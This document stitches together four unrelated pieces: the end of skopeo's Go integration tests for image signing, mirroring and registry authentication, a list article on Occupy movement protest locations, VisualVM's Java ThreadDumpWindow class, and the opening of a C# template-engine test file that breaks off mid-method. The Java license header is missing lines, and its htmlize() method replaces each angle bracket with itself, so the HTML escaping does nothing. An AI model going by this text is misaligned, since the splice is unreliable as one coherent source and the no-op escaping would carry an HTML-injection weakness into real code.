assertSkopeoSucceeds(t, "", "--tls-verify=false", "--registries.d", registriesDir, "copy", "--sign-by", "personal@example.com", ourRegistry+"original/busybox", ourRegistry+"signed/busybox")
// a signature file has been created,
foundFiles := findRegularFiles(t, plainLookaside)
assert.Len(t, foundFiles, 1)
// and pulling a signed image succeeds.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "--registries.d", registriesDir, "copy", ourRegistry+"signed/busybox", dirDest)
// Deleting the image succeeds,
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--registries.d", registriesDir, "delete", ourRegistry+"signed/busybox")
// and the signature file has been deleted (but we leave the directories around).
foundFiles = findRegularFiles(t, plainLookaside)
assert.Len(t, foundFiles, 0)
// Signing with a read/write lookaside split succeeds,
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--registries.d", registriesDir, "copy", "--sign-by", "personal@example.com", ourRegistry+"original/busybox", ourRegistry+"public/busybox")
// and a signature file has been created.
foundFiles = findRegularFiles(t, splitLookasideStaging)
assert.Len(t, foundFiles, 1)
// Pulling the image fails because the read lookaside URL has not been populated:
assertSkopeoFails(t, ".*Source image rejected: A signature was required, but no signature exists.*",
"--tls-verify=false", "--policy", policy, "--registries.d", registriesDir, "copy", ourRegistry+"public/busybox", dirDest)
// Pulling the image succeeds after the read lookaside URL is available:
splitLookasideReadServerHandler = http.FileServer(http.Dir(splitLookasideStaging))
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "--registries.d", registriesDir, "copy", ourRegistry+"public/busybox", dirDest)
}
// atomic: and docker: X-Registry-Supports-Signatures works and interoperates
func (s *copySuite) TestCopyAtomicExtension() {
t := s.T()
mech, _, err := signature.NewEphemeralGPGSigningMechanism([]byte{})
require.NoError(t, err)
defer mech.Close()
if err := mech.SupportsSigning(); err != nil { // FIXME? Test that the reading/writing works using signatures from fixtures
t.Skipf("Signing not supported: %v", err)
}
topDir := t.TempDir()
for _, subdir := range []string{"dirAA", "dirAD", "dirDA", "dirDD", "registries.d"} {
err := os.MkdirAll(filepath.Join(topDir, subdir), 0755)
require.NoError(t, err)
}
registriesDir := filepath.Join(topDir, "registries.d")
dirDest := "dir:" + topDir
policy := fileFromFixture(t, "fixtures/policy.json", map[string]string{"@keydir@": s.gpgHome})
defer os.Remove(policy)
// Get an image to work with to an atomic: destination. Also verifies that we can use Docker repositories without X-Registry-Supports-Signatures
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--registries.d", registriesDir, "copy", testFQIN, "atomic:localhost:5000/myns/extension:unsigned")
// Pulling an unsigned image using atomic: fails.
assertSkopeoFails(t, ".*Source image rejected: A signature was required, but no signature exists.*",
"--tls-verify=false", "--policy", policy,
"copy", "atomic:localhost:5000/myns/extension:unsigned", dirDest+"/dirAA")
// The same when pulling using docker:
assertSkopeoFails(t, ".*Source image rejected: A signature was required, but no signature exists.*",
"--tls-verify=false", "--policy", policy, "--registries.d", registriesDir,
"copy", "docker://localhost:5000/myns/extension:unsigned", dirDest+"/dirAD")
// Sign the image using atomic:
assertSkopeoSucceeds(t, "", "--tls-verify=false",
"copy", "--sign-by", "personal@example.com", "atomic:localhost:5000/myns/extension:unsigned", "atomic:localhost:5000/myns/extension:atomic")
// Pulling the image using atomic: now succeeds.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy,
"copy", "atomic:localhost:5000/myns/extension:atomic", dirDest+"/dirAA")
// The same when pulling using docker:
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "--registries.d", registriesDir,
"copy", "docker://localhost:5000/myns/extension:atomic", dirDest+"/dirAD")
// Both access methods result in the same data.
assertDirImagesAreEqual(t, filepath.Join(topDir, "dirAA"), filepath.Join(topDir, "dirAD"))
// Get another image (different so that they don't share signatures, and sign it using docker://)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--registries.d", registriesDir,
"copy", "--sign-by", "personal@example.com", testFQIN+":ppc64le", "docker://localhost:5000/myns/extension:extension")
t.Logf("%s", combinedOutputOfCommand(t, "oc", "get", "istag", "extension:extension", "-o", "json"))
// Pulling the image using atomic: succeeds.
assertSkopeoSucceeds(t, "", "--debug", "--tls-verify=false", "--policy", policy,
"copy", "atomic:localhost:5000/myns/extension:extension", dirDest+"/dirDA")
// The same when pulling using docker:
assertSkopeoSucceeds(t, "", "--debug", "--tls-verify=false", "--policy", policy, "--registries.d", registriesDir,
"copy", "docker://localhost:5000/myns/extension:extension", dirDest+"/dirDD")
// Both access methods result in the same data.
assertDirImagesAreEqual(t, filepath.Join(topDir, "dirDA"), filepath.Join(topDir, "dirDD"))
}
// Both mirroring support in registries.conf, and mirrored remapIdentity support in policy.json
func (s *copySuite) TestCopyVerifyingMirroredSignatures() {
t := s.T()
const regPrefix = "docker://localhost:5006/myns/mirroring-"
mech, _, err := signature.NewEphemeralGPGSigningMechanism([]byte{})
require.NoError(t, err)
defer mech.Close()
if err := mech.SupportsSigning(); err != nil { // FIXME? Test that verification and policy enforcement works, using signatures from fixtures
t.Skipf("Signing not supported: %v", err)
}
topDir := t.TempDir()
registriesDir := filepath.Join(topDir, "registries.d") // An empty directory to disable lookaside use
dirDest := "dir:" + filepath.Join(topDir, "unused-dest")
policy := fileFromFixture(t, "fixtures/policy.json", map[string]string{"@keydir@": s.gpgHome})
defer os.Remove(policy)
// We use X-R-S-S for this testing to avoid having to deal with the lookasides.
// A downside is that OpenShift records signatures per image, so the error messages below
// list all signatures for other tags used for the same image as well.
// So, make sure to never create a signature that could be considered valid in a different part of the test (i.e. don't reuse tags).
// Get an image to work with.
assertSkopeoSucceeds(t, "", "copy", "--dest-tls-verify=false", testFQIN, regPrefix+"primary:unsigned")
// Verify that unsigned images are rejected
assertSkopeoFails(t, ".*Source image rejected: A signature was required, but no signature exists.*",
"--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"primary:unsigned", dirDest)
// Sign the image for the primary location
assertSkopeoSucceeds(t, "", "--registries.d", registriesDir, "copy", "--src-tls-verify=false", "--dest-tls-verify=false", "--sign-by", "personal@example.com", regPrefix+"primary:unsigned", regPrefix+"primary:direct")
// Verify that a correctly signed image in the primary location is usable.
assertSkopeoSucceeds(t, "", "--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"primary:direct", dirDest)
// Sign the image for the mirror
assertSkopeoSucceeds(t, "", "--registries.d", registriesDir, "copy", "--src-tls-verify=false", "--dest-tls-verify=false", "--sign-by", "personal@example.com", regPrefix+"primary:unsigned", regPrefix+"mirror:mirror-signed")
// Verify that a correctly signed image for the mirror is accessible using the mirror's reference
assertSkopeoSucceeds(t, "", "--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"mirror:mirror-signed", dirDest)
// but verify that while it is accessible using the primary location redirecting to the mirror,
assertSkopeoSucceeds(t, "" /* no --policy */, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"primary:mirror-signed", dirDest)
// verify it is NOT accessible when requiring a signature.
assertSkopeoFails(t, `.*Source image rejected: None of the signatures were accepted, reasons: Signature for identity \\"localhost:5006/myns/mirroring-primary:direct\\" is not accepted; Signature for identity \\"localhost:5006/myns/mirroring-mirror:mirror-signed\\" is not accepted.*`,
"--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"primary:mirror-signed", dirDest)
// Fail if we specify an unqualified identity
assertSkopeoFails(t, ".*Could not parse --sign-identity: repository name must be canonical.*",
"--registries.d", registriesDir, "copy", "--src-tls-verify=false", "--dest-tls-verify=false", "--sign-by=personal@example.com", "--sign-identity=this-is-not-fully-specified", regPrefix+"primary:unsigned", regPrefix+"mirror:primary-signed")
// Create a signature for mirroring-primary:primary-signed without pushing there.
assertSkopeoSucceeds(t, "", "--registries.d", registriesDir, "copy", "--src-tls-verify=false", "--dest-tls-verify=false", "--sign-by=personal@example.com", "--sign-identity=localhost:5006/myns/mirroring-primary:primary-signed", regPrefix+"primary:unsigned", regPrefix+"mirror:primary-signed")
// Verify that a correctly signed image for the primary is accessible using the primary's reference
assertSkopeoSucceeds(t, "", "--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"primary:primary-signed", dirDest)
// but verify that while it is accessible using the mirror location
assertSkopeoSucceeds(t, "" /* no --policy */, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"mirror:primary-signed", dirDest)
// verify it is NOT accessible when requiring a signature.
assertSkopeoFails(t, `.*Source image rejected: None of the signatures were accepted, reasons: Signature for identity \\"localhost:5006/myns/mirroring-primary:direct\\" is not accepted; Signature for identity \\"localhost:5006/myns/mirroring-mirror:mirror-signed\\" is not accepted; Signature for identity \\"localhost:5006/myns/mirroring-primary:primary-signed\\" is not accepted.*`,
"--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"mirror:primary-signed", dirDest)
assertSkopeoSucceeds(t, "", "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", "--dest-tls-verify=false", regPrefix+"primary:unsigned", regPrefix+"remap:remapped")
// Verify that while a remapIdentity image is accessible using the remapped (mirror) location
assertSkopeoSucceeds(t, "" /* no --policy */, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"remap:remapped", dirDest)
// it is NOT accessible when requiring a signature
assertSkopeoFails(t, `.*Source image rejected: None of the signatures were accepted, reasons: Signature for identity \\"localhost:5006/myns/mirroring-primary:direct\\" is not accepted; Signature for identity \\"localhost:5006/myns/mirroring-mirror:mirror-signed\\" is not accepted; Signature for identity \\"localhost:5006/myns/mirroring-primary:primary-signed\\" is not accepted.*`, "--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"remap:remapped", dirDest)
// until signed.
assertSkopeoSucceeds(t, "", "--registries.d", registriesDir, "copy", "--src-tls-verify=false", "--dest-tls-verify=false", "--sign-by=personal@example.com", "--sign-identity=localhost:5006/myns/mirroring-primary:remapped", regPrefix+"remap:remapped", regPrefix+"remap:remapped")
assertSkopeoSucceeds(t, "", "--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"remap:remapped", dirDest)
// To be extra clear about the semantics, verify that the signedPrefix (primary) location never exists
// and only the remapped prefix (mirror) is accessed.
assertSkopeoFails(t, ".*initializing source docker://localhost:5006/myns/mirroring-primary:remapped:.*manifest unknown.*",
"--policy", policy, "--registries.d", registriesDir, "--registries-conf", "fixtures/registries.conf", "copy", "--src-tls-verify=false", regPrefix+"primary:remapped", dirDest)
}
func (s *skopeoSuite) TestCopySrcWithAuth() {
t := s.T()
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--dest-creds=testuser:testpassword", testFQIN, fmt.Sprintf("docker://%s/busybox:latest", s.regV2WithAuth.url))
dir1 := t.TempDir()
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--src-creds=testuser:testpassword", fmt.Sprintf("docker://%s/busybox:latest", s.regV2WithAuth.url), "dir:"+dir1)
}
func (s *skopeoSuite) TestCopyDestWithAuth() {
t := s.T()
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--dest-creds=testuser:testpassword", testFQIN, fmt.Sprintf("docker://%s/busybox:latest", s.regV2WithAuth.url))
}
func (s *skopeoSuite) TestCopySrcAndDestWithAuth() {
t := s.T()
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--dest-creds=testuser:testpassword", testFQIN, fmt.Sprintf("docker://%s/busybox:latest", s.regV2WithAuth.url))
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--src-creds=testuser:testpassword", "--dest-creds=testuser:testpassword", fmt.Sprintf("docker://%s/busybox:latest", s.regV2WithAuth.url), fmt.Sprintf("docker://%s/test:auth", s.regV2WithAuth.url))
}
func (s *copySuite) TestCopyNoPanicOnHTTPResponseWithoutTLSVerifyFalse() {
t := s.T()
topDir := t.TempDir()
const ourRegistry = "docker://" + v2DockerRegistryURL + "/"
assertSkopeoFails(t, ".*server gave HTTP response to HTTPS client.*",
"copy", ourRegistry+"foobar", "dir:"+topDir)
}
func (s *copySuite) TestCopySchemaConversion() {
t := s.T()
// Test conversion / schema autodetection both for the OpenShift embedded registry
s.testCopySchemaConversionRegistries(t, "docker://localhost:5005/myns/schema1", "docker://localhost:5006/myns/schema2")
// and for various docker/distribution registry versions.
s.testCopySchemaConversionRegistries(t, "docker://"+v2s1DockerRegistryURL+"/schema1", "docker://"+v2DockerRegistryURL+"/schema2")
}
func (s *copySuite) TestCopyManifestConversion() {
t := s.T()
topDir := t.TempDir()
srcDir := filepath.Join(topDir, "source")
destDir1 := filepath.Join(topDir, "dest1")
destDir2 := filepath.Join(topDir, "dest2")
// oci to v2s1 and vice-versa not supported yet
// get v2s2 manifest type
assertSkopeoSucceeds(t, "", "copy", testFQIN, "dir:"+srcDir)
verifyManifestMIMEType(t, srcDir, manifest.DockerV2Schema2MediaType)
// convert from v2s2 to oci
assertSkopeoSucceeds(t, "", "copy", "--format=oci", "dir:"+srcDir, "dir:"+destDir1)
verifyManifestMIMEType(t, destDir1, imgspecv1.MediaTypeImageManifest)
// convert from oci to v2s2
assertSkopeoSucceeds(t, "", "copy", "--format=v2s2", "dir:"+destDir1, "dir:"+destDir2)
verifyManifestMIMEType(t, destDir2, manifest.DockerV2Schema2MediaType)
// convert from v2s2 to v2s1
assertSkopeoSucceeds(t, "", "copy", "--format=v2s1", "dir:"+srcDir, "dir:"+destDir1)
verifyManifestMIMEType(t, destDir1, manifest.DockerV2Schema1SignedMediaType)
// convert from v2s1 to v2s2
assertSkopeoSucceeds(t, "", "copy", "--format=v2s2", "dir:"+destDir1, "dir:"+destDir2)
verifyManifestMIMEType(t, destDir2, manifest.DockerV2Schema2MediaType)
}
func (s *copySuite) TestCopyPreserveDigests() {
t := s.T()
topDir := t.TempDir()
assertSkopeoSucceeds(t, "", "copy", knownListImage, "--multi-arch=all", "--preserve-digests", "dir:"+topDir)
assertSkopeoFails(t, ".*Instructed to preserve digests.*", "copy", knownListImage, "--multi-arch=all", "--preserve-digests", "--format=oci", "dir:"+topDir)
}
func (s *copySuite) testCopySchemaConversionRegistries(t *testing.T, schema1Registry, schema2Registry string) {
topDir := t.TempDir()
for _, subdir := range []string{"input1", "input2", "dest2"} {
err := os.MkdirAll(filepath.Join(topDir, subdir), 0755)
require.NoError(t, err)
}
input1Dir := filepath.Join(topDir, "input1")
input2Dir := filepath.Join(topDir, "input2")
destDir := filepath.Join(topDir, "dest2")
// Ensure we are working with a schema2 image.
// dir: accepts any manifest format, i.e. this makes /input2 a schema2 source which cannot be asked to produce schema1 like ordinary docker: registries can.
assertSkopeoSucceeds(t, "", "copy", testFQIN, "dir:"+input2Dir)
verifyManifestMIMEType(t, input2Dir, manifest.DockerV2Schema2MediaType)
// 22 (the "f2t2" in tag means "from 2 to 2")
assertSkopeoSucceeds(t, "", "copy", "--dest-tls-verify=false", "dir:"+input2Dir, schema2Registry+":f2t2")
assertSkopeoSucceeds(t, "", "copy", "--src-tls-verify=false", schema2Registry+":f2t2", "dir:"+destDir)
verifyManifestMIMEType(t, destDir, manifest.DockerV2Schema2MediaType)
// 21; we will use the result as a schema1 image for further tests.
assertSkopeoSucceeds(t, "", "copy", "--dest-tls-verify=false", "dir:"+input2Dir, schema1Registry+":f2t1")
assertSkopeoSucceeds(t, "", "copy", "--src-tls-verify=false", schema1Registry+":f2t1", "dir:"+input1Dir)
verifyManifestMIMEType(t, input1Dir, manifest.DockerV2Schema1SignedMediaType)
// 11
assertSkopeoSucceeds(t, "", "copy", "--dest-tls-verify=false", "dir:"+input1Dir, schema1Registry+":f1t1")
assertSkopeoSucceeds(t, "", "copy", "--src-tls-verify=false", schema1Registry+":f1t1", "dir:"+destDir)
verifyManifestMIMEType(t, destDir, manifest.DockerV2Schema1SignedMediaType)
// 12: image stays unmodified schema1
assertSkopeoSucceeds(t, "", "copy", "--dest-tls-verify=false", "dir:"+input1Dir, schema2Registry+":f1t2")
assertSkopeoSucceeds(t, "", "copy", "--src-tls-verify=false", schema2Registry+":f1t2", "dir:"+destDir)
verifyManifestMIMEType(t, destDir, manifest.DockerV2Schema1SignedMediaType)
}
const regConfFixture = "./fixtures/registries.conf"
func (s *skopeoSuite) TestSuccessCopySrcWithMirror() {
t := s.T()
dir := t.TempDir()
assertSkopeoSucceeds(t, "", "--registries-conf="+regConfFixture, "copy",
"docker://mirror.invalid/busybox", "dir:"+dir)
}
func (s *skopeoSuite) TestFailureCopySrcWithMirrorsUnavailable() {
t := s.T()
dir := t.TempDir()
// .invalid domains are, per RFC 6761, supposed to result in NXDOMAIN.
// With systemd-resolved (used only via NSS?), we instead seem to get Temporary failure in name resolution
assertSkopeoFails(t, ".*(no such host|Temporary failure in name resolution).*",
"--registries-conf="+regConfFixture, "copy", "docker://invalid.invalid/busybox", "dir:"+dir)
}
func (s *skopeoSuite) TestSuccessCopySrcWithMirrorAndPrefix() {
t := s.T()
dir := t.TempDir()
assertSkopeoSucceeds(t, "", "--registries-conf="+regConfFixture, "copy",
"docker://gcr.invalid/foo/bar/busybox", "dir:"+dir)
}
func (s *skopeoSuite) TestFailureCopySrcWithMirrorAndPrefixUnavailable() {
t := s.T()
dir := t.TempDir()
// .invalid domains are, per RFC 6761, supposed to result in NXDOMAIN.
// With systemd-resolved (used only via NSS?), we instead seem to get Temporary failure in name resolution
assertSkopeoFails(t, ".*(no such host|Temporary failure in name resolution).*",
"--registries-conf="+regConfFixture, "copy", "docker://gcr.invalid/wrong/prefix/busybox", "dir:"+dir)
}
func (s *copySuite) TestCopyFailsWhenReferenceIsInvalid() {
t := s.T()
assertSkopeoFails(t, `.*Invalid image name.*`, "copy", "unknown:transport", "unknown:test")
}
```
|
The Occupy Wall Street protests, which started in 2011, inspired a wide international response. There have been hundreds of Occupy movement protests worldwide over time, intended and organized as non-violent protest against the wealthy, as well as banking institutions. Months before the Occupy movement began, the Movimiento 15-M planned to hold events in many nations on October 15, 2011. The Occupy movement joined in and also held many events in many nations on that day. A list of proposed events for the 15 October 2011 global protests listed events in 951 cities in 82 countries. Protest camps were built at many of the protest locations, often near banking institutions or stock markets. Many locations had further manifestations at the following weekends until "Guy-Fawkes" day since the Guy Fawkes mask had become protester fashion. Many American Occupy groups were active until 2012, some are still active.
On the one-year anniversary of the Occupy Movement (September 17, 2012), The Guardian published the "Occupy Directory"'s "map of the Occupy world".
Africa
America
Canada
Latin America
United States
Asia
Europe
Oceania
See also
List of Occupy movement topics
Timeline of Occupy Wall Street
We are the 99%
Other U.S. protests
2011 United States public employee protests
2011 Wisconsin protests
Other international protests
15 October 2011 global protests
2010–2011 Greek protests
2011 Chilean protests
2011 Israeli social justice protests
2011 United Kingdom anti-austerity protests and 2010 UK student protests
2010 student protest in Dublin
Iceland Kitchenware Revolution
Spanish 15M Indignants movement
Related articles
Bank Transfer Day
Corruption Perceptions Index
Economic inequality
Grassroots movement
Impact of the Arab Spring
Income inequality in the United States
List of countries by distribution of wealth
List of countries by income equality
Plutocracy
Wealth inequality in the United States
References
External links
Occupy Directory - a public listing of all known geographically-based Occupations. The Occupy Directory was built by and for the #Occupy movement as a sub-project of the Federated General Assembly (FGA). On the one-year anniversary of the Occupy Movement, the Guardian published the Directory's map as a "The map of the Occupy world."
Occupy Together | Home.
Protest locations
Occupy Wall Street
Occupy movement protest locations
Occupy movement protest locations
|
```java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package org.graalvm.visualvm.lib.profiler;
import java.awt.BorderLayout;
import java.awt.Component;
import java.lang.management.LockInfo;
import java.lang.management.MonitorInfo;
import java.lang.management.ThreadInfo;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import javax.swing.BorderFactory;
import javax.swing.JScrollPane;
import javax.swing.text.BadLocationException;
import javax.swing.text.Document;
import javax.swing.text.Segment;
import javax.swing.text.html.HTMLDocument;
import javax.swing.text.html.HTMLEditorKit;
import javax.swing.text.html.StyleSheet;
import org.graalvm.visualvm.lib.jfluid.results.threads.ThreadDump;
import org.graalvm.visualvm.lib.ui.components.HTMLTextArea;
import org.graalvm.visualvm.lib.jfluid.utils.StringUtils;
import static org.graalvm.visualvm.lib.profiler.SampledCPUSnapshot.OPEN_THREADS_URL;
import org.graalvm.visualvm.lib.profiler.api.GoToSource;
import org.graalvm.visualvm.lib.profiler.api.icons.Icons;
import org.graalvm.visualvm.lib.profiler.api.icons.ProfilerIcons;
import org.openide.util.HelpCtx;
import org.openide.util.NbBundle;
import org.openide.windows.TopComponent;
/**
* IDE topcomponent to display thread dump.
*
* @author Tomas Hurka
*/
@NbBundle.Messages({
"ThreadDumpWindow_Caption=Thread dump {0}",})
public class ThreadDumpWindow extends ProfilerTopComponent {
//~ Static fields/initializers your_sha256_hash-------------------------------
private static final String HELP_CTX_KEY = "ThreadDumpWindow.HelpCtx"; // NOI18N
private static final HelpCtx HELP_CTX = new HelpCtx(HELP_CTX_KEY);
private HTMLTextArea a;
//~ Constructors your_sha256_hash---------------------------------------------
/**
* This constructor cannot be called, instances of this window cannot be
* persisted.
*/
public ThreadDumpWindow() {
throw new InternalError("This constructor should never be called"); // NOI18N
}
public ThreadDumpWindow(ThreadDump td) {
setLayout(new BorderLayout());
setFocusable(true);
setRequestFocusEnabled(true);
setName(Bundle.ThreadDumpWindow_Caption(StringUtils.formatUserDate(td.getTime())));
setIcon(Icons.getImage(ProfilerIcons.THREAD));
StringBuilder text = new StringBuilder();
printThreads(text, td);
a = new HTMLTextArea() {
protected void showURL(URL url) {
if (url == null) {
return;
}
String urls = url.toString();
ThreadDumpWindow.this.showURL(urls);
}
};
a.setEditorKit(new CustomHtmlEditorKit());
a.setText(text.toString());
a.setCaretPosition(0);
JScrollPane sp = new JScrollPane(a);
sp.setBorder(BorderFactory.createEmptyBorder());
sp.setViewportBorder(BorderFactory.createEmptyBorder());
add(sp, BorderLayout.CENTER);
}
protected Component defaultFocusOwner() {
return a;
}
public int getPersistenceType() {
return TopComponent.PERSISTENCE_NEVER;
}
public HelpCtx getHelpCtx() {
return HELP_CTX;
}
protected String preferredID() {
return this.getClass().getName();
}
private void printThreads(final StringBuilder sb, ThreadDump td) {
ThreadInfo[] threads = td.getThreads();
boolean goToSourceAvailable = GoToSource.isAvailable();
boolean jdk15 = td.isJDK15();
sb.append("<pre>"); // NOI18N
sb.append(" <b>Full thread dump: "); // NOI18N
SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); // NOI18N
sb.append(df.format(td.getTime()) + "</b><br><br>");
for (ThreadInfo thread : threads) {
if (thread != null) {
if (jdk15) {
print15Thread(sb, thread, goToSourceAvailable);
} else {
print16Thread(sb, thread, goToSourceAvailable);
}
}
}
sb.append("</pre>"); // NOI18N
}
private void print15Thread(final StringBuilder sb, final ThreadInfo thread, boolean goToSourceAvailable) {
sb.append("<br>\"" + thread.getThreadName() + // NOI18N
"\" - Thread t@" + thread.getThreadId() + "<br>"); // NOI18N
sb.append(" java.lang.Thread.State: " + thread.getThreadState()); // NOI18N
if (thread.getLockName() != null) {
sb.append(" on " + thread.getLockName()); // NOI18N
if (thread.getLockOwnerName() != null) {
sb.append(" owned by: " + thread.getLockOwnerName()); // NOI18N
}
}
sb.append("<br>"); // NOI18N
for (StackTraceElement st : thread.getStackTrace()) {
String stackElementText = htmlize(st.toString());
String stackEl = stackElementText;
if (goToSourceAvailable) {
String className = st.getClassName();
String method = st.getMethodName();
int lineNo = st.getLineNumber();
String stackUrl = OPEN_THREADS_URL + className + "|" + method + "|" + lineNo; // NOI18N
stackEl = "<a href=\"" + stackUrl + "\">" + stackElementText + "</a>"; // NOI18N
}
sb.append(" at ").append(stackEl).append("<br>"); // NOI18N
}
}
private void print16Thread(final StringBuilder sb, final ThreadInfo thread, boolean goToSourceAvailable) {
MonitorInfo[] monitors = thread.getLockedMonitors();
sb.append(" <b>"); // NOI18N
sb.append("\"").append(thread.getThreadName()).append("\" - Thread t@").append(thread.getThreadId()).append("<br>"); // NOI18N
sb.append(" java.lang.Thread.State: ").append(thread.getThreadState()); // NOI18N
sb.append("</b><br>"); // NOI18N
int index = 0;
for (StackTraceElement st : thread.getStackTrace()) {
LockInfo lock = thread.getLockInfo();
String stackElementText = htmlize(st.toString());
String lockOwner = thread.getLockOwnerName();
String stackEl = stackElementText;
if (goToSourceAvailable) {
String className = st.getClassName();
String method = st.getMethodName();
int lineNo = st.getLineNumber();
String stackUrl = OPEN_THREADS_URL + className + "|" + method + "|" + lineNo; // NOI18N
stackEl = "<a href=\"" + stackUrl + "\">" + stackElementText + "</a>"; // NOI18N
}
sb.append(" at ").append(stackEl).append("<br>"); // NOI18N
if (index == 0) {
if ("java.lang.Object".equals(st.getClassName()) && // NOI18N
"wait".equals(st.getMethodName())) { // NOI18N
if (lock != null) {
sb.append(" - waiting on "); // NOI18N
printLock(sb, lock);
sb.append("<br>"); // NOI18N
}
} else if (lock != null) {
if (lockOwner == null) {
sb.append(" - parking to wait for "); // NOI18N
printLock(sb, lock);
sb.append("<br>"); // NOI18N
} else {
sb.append(" - waiting to lock "); // NOI18N
printLock(sb, lock);
sb.append(" owned by \"").append(lockOwner).append("\" t@").append(thread.getLockOwnerId()).append("<br>"); // NOI18N
}
}
}
printMonitors(sb, monitors, index);
index++;
}
StringBuilder jnisb = new StringBuilder();
printMonitors(jnisb, monitors, -1);
if (jnisb.length() > 0) {
sb.append(" JNI locked monitors:<br>");
sb.append(jnisb);
}
LockInfo[] synchronizers = thread.getLockedSynchronizers();
if (synchronizers != null) {
sb.append("<br> Locked ownable synchronizers:"); // NOI18N
if (synchronizers.length == 0) {
sb.append("<br> - None\n"); // NOI18N
} else {
for (LockInfo li : synchronizers) {
sb.append("<br> - locked "); // NOI18N
printLock(sb, li);
sb.append("<br>"); // NOI18N
}
}
}
sb.append("<br>");
}
private void printMonitors(final StringBuilder sb, final MonitorInfo[] monitors, final int index) {
if (monitors != null) {
for (MonitorInfo mi : monitors) {
if (mi.getLockedStackDepth() == index) {
sb.append(" - locked "); // NOI18N
printLock(sb, mi);
sb.append("<br>"); // NOI18N
}
}
}
}
private void printLock(StringBuilder sb, LockInfo lock) {
String id = Integer.toHexString(lock.getIdentityHashCode());
String className = lock.getClassName();
sb.append("<").append(id).append("> (a ").append(className).append(")"); // NOI18N
}
private static String htmlize(String value) {
return value.replace(">", ">").replace("<", "<"); // NOI18N
}
private void showURL(String urls) {
if (urls.startsWith(SampledCPUSnapshot.OPEN_THREADS_URL)) {
urls = urls.substring(SampledCPUSnapshot.OPEN_THREADS_URL.length());
String parts[] = urls.split("\\|"); // NOI18N
String className = parts[0];
String method = parts[1];
int linenumber = Integer.parseInt(parts[2]);
GoToSource.openSource(null, className, method, linenumber);
}
}
private static class CustomHtmlEditorKit extends HTMLEditorKit {
@Override
public Document createDefaultDocument() {
StyleSheet styles = getStyleSheet();
StyleSheet ss = new StyleSheet();
ss.addStyleSheet(styles);
HTMLDocument doc = new CustomHTMLDocument(ss);
doc.setParser(getParser());
doc.setAsynchronousLoadPriority(4);
doc.setTokenThreshold(100);
return doc;
}
}
private static class CustomHTMLDocument extends HTMLDocument {
private static final int CACHE_BOUNDARY = 1000;
private char[] segArray;
private int segOffset;
private int segCount;
private boolean segPartialReturn;
private int lastOffset;
private int lastLength;
private CustomHTMLDocument(StyleSheet ss) {
super(ss);
lastOffset = -1;
lastLength = -1;
putProperty("multiByte", Boolean.TRUE); // NOI18N
}
@Override
public void getText(int offset, int length, Segment txt) throws BadLocationException {
if (lastOffset == offset && lastLength == length) {
txt.array = segArray;
txt.offset = segOffset;
txt.count = segCount;
txt.setPartialReturn(segPartialReturn);
return;
}
super.getText(offset, length, txt);
if (length > CACHE_BOUNDARY || lastLength <= CACHE_BOUNDARY) {
segArray = Arrays.copyOf(txt.array, txt.array.length);
segOffset = txt.offset;
segCount = txt.count;
segPartialReturn = txt.isPartialReturn();
lastOffset = offset;
lastLength = length;
}
}
}
}
```
|
```smalltalk
// The .NET Foundation licenses this file to you under the MIT license.
using FakeItEasy;
using Microsoft.TemplateEngine.Abstractions;
using Microsoft.TemplateEngine.Abstractions.TemplatePackage;
using Microsoft.TemplateEngine.Edge;
using Microsoft.TemplateEngine.Edge.Settings;
using NuGet.Configuration;
using NuGet.Packaging;
using NuGet.Packaging.Core;
using NuGet.Protocol.Core.Types;
using NuGet.Versioning;
using static Microsoft.TemplateEngine.Cli.NuGet.NugetApiManager;
namespace Microsoft.TemplateEngine.Cli.UnitTests
{
public class TemplatePackageCoordinatorTests
{
[Fact]
public void DisplayLocalPackageMetadata()
{
